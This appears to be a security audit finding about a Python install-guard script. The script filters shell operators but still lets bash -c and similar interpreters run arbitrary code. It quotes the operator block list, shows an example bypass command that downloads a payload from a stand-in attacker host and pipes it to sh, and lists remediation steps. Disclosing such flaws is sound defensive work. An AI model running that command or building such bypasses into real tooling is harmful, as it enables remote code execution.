T09 · Insecure Skill Coding Practices
Error
- Location
scripts/skill-install-guard.py:158- Finding
Install Command Restrictions Can Be Bypassed Through Shell Interpreters
- Content
View full analysis
subprocess.CompletedProcess: blocked_tokens = {"&&", "||", "|", ";", ">", ">>", "<"} argv = shlex.split(command) if not argv: raise GuardError("Install command is empty after parsing") bad = [token for token in argv if token in blocked_tokens] if bad: raise GuardError( "Install command must be a direct executable invocation without shell operators: " + ", ".join(sorted(set(bad))) ) return subprocess.run(argv, cwd=str(cwd) if cwd else None, text=True, capture_output=True) ``` ### Technical Analysis The function attempts to prevent shell injection by splitting the supplied command with `shlex.split()` and rejecting a small set of shell operators. This does not constrain which executable may be invoked or which options may be passed to it. Shell and language interpreters such as `bash`, `sh`, and `python3` remain permitted. Their inline execution options can evaluate arbitrary instructions without exposing shell operators as separate top-level tokens. For example, the following input is accepted because the outer argument vector contains no separately parsed blocked token: ```text bash -c 'curl https://attacker.example/payload | sh' ``` After parsing, the pipe remains inside the argument supplied to `bash -c`; the validation only checks individual outer argument tokens. The implementation then invokes the interpreter directly through `subprocess.run()`. The supplied installation command is also not bound to the reviewed source, slug, version, or file set. A benign source can therefore receive a low-risk verdict while an unrelated command performs the actual installation or executes an ...[truncated 1387 chars]- Remediation
View remediation
[--version ] ``` 5. Resolve the installer to an expected absolute path and verify that it is a regular file owned by a trusted account. 6. Bind the command arguments to the exact slug, source, and version that were reviewed. 7. Execute with a minimal environment, restricted working directory, and least-privileged account. 8. Where possible, perform installation internally through a safe API rather than executing an operator-supplied command. 9. Add regression tests covering interpreter invocations, inline-code options, nested shell syntax, alternate shells, and commands unrelated to the reviewed source. ]]>